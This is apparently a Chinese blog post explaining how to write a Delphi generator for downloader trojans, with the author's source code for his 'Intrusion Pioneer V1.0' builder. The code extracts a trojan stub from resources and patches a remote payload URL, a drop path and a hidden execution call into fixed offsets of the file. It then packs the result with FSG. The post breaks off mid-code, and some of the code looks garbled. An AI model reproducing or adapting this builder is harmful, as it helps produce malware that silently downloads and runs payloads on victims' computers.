木马生成器:delphi木马生成器的编写

说到下载者,这个其实也挺有纪念价值的.最开始感觉生成器很神秘,怎么能无端生成一个EXE程序??后来了解到只不过是从资源文件中释放出来的,,,真是丢人啊..后来不知道释放以后怎么配置?查遍了整个大富翁也没有找到满意的答案.于是研究了半天终于被我搞清楚了.其实也就是简单的把数据写到木马EXE文件中而已.方式也有多种,可以写到末尾,可以写进资源中,或者干脆简单的写到对应的位置上.前两种方法木马端也必须要写相应的代码来提取,而我们的下载者讲究的是"短小"..所以我们只能用第三种方法了.下面是我的"入侵先锋V1.0"生成器部分的核心代码.大家可以参考一下,写得很烂高手不要见笑..
procedure TForm1.saveresa; //这个过程将资源中的木马端释放出来
var
Res : TResourceStream;
begin
Res:=TResourceStream.Create(Hinstance,'good1','exefile');
Res.SavetoFile(RzEdit2.Text); //将资源存到 Rzedit2 里的位置,RzEdit2里是用户给的保存地址
Res.Free; //用完记得释放内存
end;
procedure TForm1.RzButton1Click(Sender: TObject); //这是修改木马端配置的过程,是关键
var
f:File;
str:array [1..255] of char;
Each_size:array [1..2] of char;
HostName,sss,kk,hoho:String;
len,I,ii,heihei:integer; //呵呵,见笑了,我向来有乱取变量名的习惯
begin
saveresa; //释放资源,注意,前面最好加点if判断用户输入数据是否正确,我这里就不加了
sss:=RzEdit1.Text; //这个是将木马名提取出来.例如用户输入 http://www.11.com/ok.exe,这个过程将提取 ok.exe 并将值赋给变量 kk .抱歉,小弟数学差,算法烂勿笑
ii:=length(sss);
while sss[ii]<>'/' do
begin
ii:=ii-1;
end;
ii:=ii+1;
kk:=sss[ii];
while length(sss)-ii <> 0 do
begin
ii:=ii+1;
kk:=kk+sss[ii];
end;
try //这里开始正式修改木马配置,一共三个地方,你可以参考我上面给出的木马代码.
hostname:=RzEdit1.Text;
AssignFile(f,RzEdit2.Text);
Reset(f,1);
seek(f,1340); // 1340是http://木马地址/木马.exe 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=HostName;
BlockWrite(f,str,length(HostName));
Each_size[1]:=char(length(HostName));
seek(f,1321); //这个是 C:\Program Files\木马.exe 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=kk;
BlockWrite(f,str,length(kk));
Each_size[1]:=char(length(kk));
seek(f,1461); //这个是 winexec('C:\Program Files\木马.exe',SW_HIDE); 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=kk;
BlockWrite(f,str,length(kk));
Each_size[1]:=char(length(kk));
CloseFile(f);
finally
if RzRadioButton1.Checked then
begin
FSG; //使用FSG加壳,这个我也已经打进资源内?
Tags:  图片木马生成器 网页木马生成器 qq木马生成器 木马生成器

延伸阅读

最新评论

发表评论